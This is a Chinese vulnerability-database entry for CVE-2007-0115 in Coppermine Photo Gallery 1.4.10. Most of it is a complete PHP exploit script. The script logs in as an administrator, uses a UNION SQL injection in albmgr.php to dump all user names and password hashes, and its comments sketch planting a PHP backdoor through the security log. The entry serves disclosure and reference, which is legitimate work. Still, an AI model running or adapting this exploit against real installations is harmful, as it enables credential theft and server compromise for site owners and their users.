Coppermine Photo Gallery 'login.php' SQL注入漏洞

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漏洞ID 1192216 漏洞类型 未知
发布时间 2007-01-08 更新时间 2007-01-08
CVE编号 CVE-2007-0115 CNNVD-ID CNNVD-200701-061
漏洞平台 N/A CVSS评分 6.0
|漏洞来源
https://www.securityfocus.com/bid/86784
https://cxsecurity.com/issue/WLB-2007010023
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-061
|漏洞详情
CopperminePhotoGallery1.4.10及之前版本中存在静态代码注入漏洞。远程认证管理员可以借助输入到login.php的用户名,来执行任意的PHP代码。该漏洞会被注入到security.log.php中的出错信息中,然后可以通过使用viewlog.php来访问它。
|漏洞EXP
#!/usr/bin/php
<?php

/**
 * This file require the PhpSploit class.
 * If you want to use this class, the latest
 * version can be downloaded from acid-root.new.fr.
 **/
require("phpsploitclass.php");

if($argc < 4)
{
	print "n---------------------------------------------------------";
	print "nAffected.scr..: Coppermine Photo Gallery <= 1.4.10";
	print "nPoc.ID........: 19070104";
	print "nType..........: SQL Injection";
	print "nRisk.level....: Medium";
	print "nSrc.download..: coppermine-gallery.net";
	print "nPoc.link......: acid-root.new.fr/poc/19070104.txt";
	print "nCredits.......: DarkFig";
	print "n---------------------------------------------------------";
	print "nUsage.........: php xpl.php <url> <adminuser> <adminpass>";
	print "nProxyOptions..: <proxhost:proxport> <proxuser:proxpass>";
	print "nExample.......: php xpl.php http://c.com/ admin passwd";
	print "n---------------------------------------------------------n";
	exit(1);
}

/*/
  [0] => xpl.php         [1] => http://localhost/cpg1410/
  [2] => root            [3] => toor
  [4] => localhost:8200  [5] => user:passwd
/*/
$url=$argv[1];$adu=$argv[2];
$adp=$argv[3];$pxs=$argv[4];
$pxa=$argv[5];

$xpl = new phpsploit();
$xpl->agent("InternetExploiter");
$xpl->cookiejar(1);
$xpl->allowredirection(1);

print "nheader> ===============================================";
print "nheader> Coppermine Photo Gallery 1.4.10 (SQL Injection)";
print "nheader> ===============================================";

if(!empty($pxs)){
	print "nstatus> Using a proxy $pxs";
	$xpl->proxy($pxs);
}

if(!empty($pxa)){
	print "nstatus> Basic proxy authentification $pxa";
	$xpl->proxyauth($pxa);
}

/*/
  Table prefix.
/*/
print "nstatus> Searching the version";
$xpl->get($url.'include/index.html');
if(preg_match("#Coppermine version: ([0-9]*.[0-9]*.[0-9]*)#",$xpl->getcontent(),$matches)) print "nsploit> Coppermine version ".$matches[1];
else print "nsploit> Not found";
$table = !empty($matches[1]) ? 'cpg'.str_replace('.','',$matches[1]).'_users' : 'cpg1410_users';

/*/
  If you have the admin cookie (but not the password),
  replace lines 73=>76 by $xpl->addcookie('yourcookie');
/*/
print "nstatus> Trying to get logged in";
$xpl->post($url."login.php?referer=index.php","username=$adu&password=$a
dp&remember_me=1&submitted=Se+Connecter");
if(!preg_match("#color:red#",$xpl->getcontent())) print "nsploit> Done";
else die("nstatus> Exploit failedn");

/*/
  (usermgr.php)
  =============
  case 'group_alb_access' :
  if (isset($_GET['gid']))  $group_id = $_GET['gid'];
  $sql = "SELECT group_name  FROM [...] WHERE group_id = $group_id [...]";
  $result = cpg_db_query($sql);
  
  (db_ecard.php)
  ==============
  $start = isset($_REQUEST['start']) ? $_REQUEST['start'] : '';  [...]
  if (!$start) {$startFrom = '0';}else{$startFrom=$start;}  [...]
  $result = cpg_db_query("SELECT [...] ORDER BY $sortBy $sortDirection LIMIT $startFrom,$countTo");
  
  (albmgr.php)
  ============
  $cat = isset($_GET['cat']) ? ($_GET['cat']) : 0;
  if ($cat == 1) $cat = 0;
  if (GALLERY_ADMIN_MODE) {
  $result = cpg_db_query("SELECT [...] WHERE category = $cat ORDER BY pos ASC");
  
  (filename_to_title())
  =====================
  $albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;
  $albstr = ($albumid) ? " WHERE aid = $albumid" : ''; [...]
  $result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']} $albstr");
  
  (del_titles())
  ==============
  $albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;
  $albstr = ($albumid) ? " WHERE aid = $albumid" : '';
  $result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']} $albstr");
/*/
print "nstatus> Retrieving all members password";
$xpl->get($url."albmgr.php?cat=-1/**/union/**/select/**/user_name,user_p
assword/**/from/**/$table/*");
if(preg_match_all("#<option value="album_no=(.*),album_nm='([a-z0-9]{32})'#",$xpl->getcontent(),$ma
tches)) print "nsploit> Done";
else die("nstatus> Exploit failedn");

print "nsploit> +----------------------------------+----------+";
print "nsploit> |             PASSWORD             |   USER   |";
print "nsploit> +----------------------------------+----------+";

/*/
  (init.inc.php)
  ==============
  $HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');
  [...] 
  if (is_array($_POST)) { // and GET, SERVER, REQUEST...
  foreach ($_POST as $key => $value) {
  if (!is_array($value))
  $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
  if (!in_array($key, $keysToSkip) && isset($$key)) unset($$key);
  }
       
  ... that's why we use the html_entity_decode() function.
  I just wanted < for a remote php code execution sploit without admin rights :'(.
  When the admin view the security logs, it include "security.log.php"...
	   
  (security.log.php)
  ==================
  [...]
  if (!defined('IN_COPPERMINE')) die(); ?>
      
  Denied privileged access to viewlog.php from user Guest at  on January 4, 2007, 2:10 pm
  Failed login attempt with Username: <?php mail(you); [...] fwrite(backdoor.php); [...] /* from IP 127.0.0.1 on Jan 04, 2007 at 01:16 PM
/*/
for($i=0;$i<count($matches[0]);$i++)
{
	print "nsploit> | ".$matches[2][$i].' | '.html_entity_decode($matches[1][$i]);
	if($i==(count($matches[0])-1)){
	print "nsploit> +----------------------------------+----------+n";
	}
}

?>
|受影响的产品
Coppermine Coppermine Photo Gallery 1.4.10
|参考资料

来源:BUGTRAQ
名称:20070105CopperminePhotoGallery<=1.4.10SQLInjectionExploit
链接:http://www.securityfocus.com/archive/1/archive/1/456051/100/0/threaded
来源:VIM
名称:20070108Sourceverify-CopperminePhotoGallery<=1.4.10codeinjection
链接:http://www.attrition.org/pipermail/vim/2007-January/001218.html
来源:OSVDB
名称:33383
链接:http://osvdb.org/33383
来源:MISC
链接:http://acid-root.new.fr/poc/19070104.txt
来源:SREASON
名称:2107
链接:http://securityreason.com/securityalert/2107